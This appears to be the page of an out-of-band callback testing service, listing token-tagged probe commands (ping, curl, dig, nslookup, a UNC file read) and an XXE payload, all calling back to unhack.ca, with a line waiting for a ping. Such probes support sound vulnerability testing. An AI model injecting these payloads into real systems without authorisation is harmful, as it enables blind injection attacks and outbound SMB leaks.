$ ping -c1 -p 00cb126feb1cc4d67d29c1bb53694800 unhack.ca
$ curl http://unhack.ca/p/cb126feb1cc4d67d29c1bb536948
$ dig cb126feb1cc4d67d29c1bb536948 @unhack.ca
$ dig cb126feb1cc4d67d29c1bb536948.ns.unhack.ca
C:\> nslookup cb126feb1cc4d67d29c1bb536948 unhack.ca
C:\> type \\unhack.ca\cb126feb1cc4d67d29c1bb536948\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/cb126feb1cc4d67d29c1bb536948">]>
<foo>&xxe;</foo>
Waiting for ping...